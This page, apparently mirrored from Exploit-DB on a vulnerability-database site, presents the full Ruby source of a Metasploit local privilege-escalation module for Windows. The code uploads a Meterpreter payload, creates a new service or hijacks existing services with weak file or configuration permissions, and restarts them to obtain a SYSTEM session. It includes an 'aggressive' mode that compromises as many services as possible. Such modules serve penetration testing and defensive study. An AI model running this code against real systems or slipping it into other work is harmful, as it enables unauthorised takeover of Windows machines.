Lucene search
K

Microsoft Windows - Escalate Service Permissions Privilege Escalation (Metasploit)

🗓️ 16 Oct 2012 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Windows Escalate Service Permissions Local Privilege Escalation - Exploits administrative privileges to obtain SYSTEM session by inspecting and modifying existing services. Generates new session on successful restart of replaced service. May require system restart for session creation

Code
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/post/windows/services'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
	Rank = GreatRanking

	include Msf::Post::Windows::WindowsServices

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Escalate Service Permissions Local Privilege Escalation',
			'Description'   => %q{
				This module attempts to exploit existing administrative privileges to obtain
				a SYSTEM session. If directly creating a service fails, this module will inspect
				existing services to look for insecure file or configuration permissions that may
				be hijacked. It will then attempt to restart the replaced service to run the
				payload. This will result in a new session when this succeeds. If the module is
				able to modify the service but does not have permission to start and stop the
				affected service, the attacker must wait for the system to restart before a
				session will be created.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [ 'scriptjunkie' ],
			'Arch'          => [ ARCH_X86 ],
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
					'WfsDelay' => '5'
				},
			'Targets'       =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget' => 0
		))

		register_options([
			OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
		])

	end

	def exploit
		# randomize the filename
		filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

		# randomize the exe name
		tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"

		raw = payload.encoded

		exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)

		sysdir = session.fs.file.expand_path("%SystemRoot%")
		tmpdir = session.fs.file.expand_path("%TEMP%")

		print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
		begin
			#
			# Upload the payload to the filesystem
			#
			tempexe = tmpdir + "\\" + tempexe_name
			fd = session.fs.file.new(tempexe, "wb")
			fd.write(exe)
			fd.close
		rescue ::Exception => e
			print_error("Error uploading file #{filename}: #{e.class} #{e}")
			return
		end

		#attempt to make new service

		#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config

		print_status("Trying to add a new service...")
		adv = session.railgun.advapi32
		manag = adv.OpenSCManagerA(nil,nil,0x10013)
		if(manag["return"] != 0)
			# SC_MANAGER_CREATE_SERVICE = 0x0002
			# SERVICE_START=0x0010  SERVICE_WIN32_OWN_PROCESS= 0X00000010
			# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
			newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
				"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
			if(newservice["return"] != 0)
				print_status("Created service... #{newservice["return"]}")
				ret = adv.StartServiceA(newservice["return"], 0, nil)
				print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
				adv.DeleteService(newservice["return"])
				adv.CloseServiceHandle(newservice["return"])
				if datastore['AGGRESSIVE'] != true
					adv.CloseServiceHandle(manag["return"])
					return
				end
			else
				print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
			end
		else
			print_status("No privs to create a service...")
			manag = adv.OpenSCManagerA(nil,nil,1)
			if(manag["return"] == 0)
				print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
			end
		end
		print_status("Trying to find weak permissions in existing services..")
		#Search through list of services to find weak permissions, whether file or config
		serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
		#for each service
		service_list.each do |serv|
			begin
				srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
				if srvtype != "16"
					continue
				end
				moved = false
				configed = false
				#default path, but there should be an ImagePath registry key
				source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
				#get path to exe; parse out quotes and arguments
				sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
				sourcemaybe = session.fs.file.expand_path(sourceorig)
				if( sourcemaybe[0] == '"' )
					sourcemaybe = sourcemaybe.split('"')[1]
				else
					sourcemaybe = sourcemaybe.split(' ')[0]
				end
				begin
					session.fs.file.stat(sourcemaybe) #check if it really exists
					source = sourcemaybe
				rescue
					print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
				end
				#try to exploit weak file permissions
				if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
					session.railgun.kernel32.CopyFileA(tempexe, source, false)
					print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
					moved = true
				end
				#try to exploit weak config permissions
				#open with SERVICE_CHANGE_CONFIG (0x0002)
				servhandleret = adv.OpenServiceA(manag["return"],serv,2)
				if(servhandleret["return"] != 0)
					#SERVICE_NO_CHANGE is  0xFFFFFFFF
					if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
							0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
						print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
						configed = true
					end
					adv.CloseServiceHandle(servhandleret["return"])

				end
				if(moved != true && configed != true)
					print_status("No exploitable weak permissions found on #{serv}")
					continue
				end
				print_status("Restarting #{serv}")
				#open with  SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
				servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
				if(servhandleret["return"] != 0)
					#SERVICE_CONTROL_STOP = 0x00000001
					if(adv.ControlService(servhandleret["return"],1,56))
						session.railgun.kernel32.Sleep(1000)
						adv.StartServiceA(servhandleret["return"],0,nil)
						print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
						#Cleanup
						if moved == true
							session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
						end
						if configed == true
							servhandleret = adv.OpenServiceA(manag["return"],serv,2)
							adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
									0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
							adv.CloseServiceHandle(servhandleret["return"])
						end
					else
						print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
					end
					adv.CloseServiceHandle(servhandleret["return"])
					if datastore['AGGRESSIVE'] != true
						return
					end
				else
					print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
				end
			rescue
			end
		end
	end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation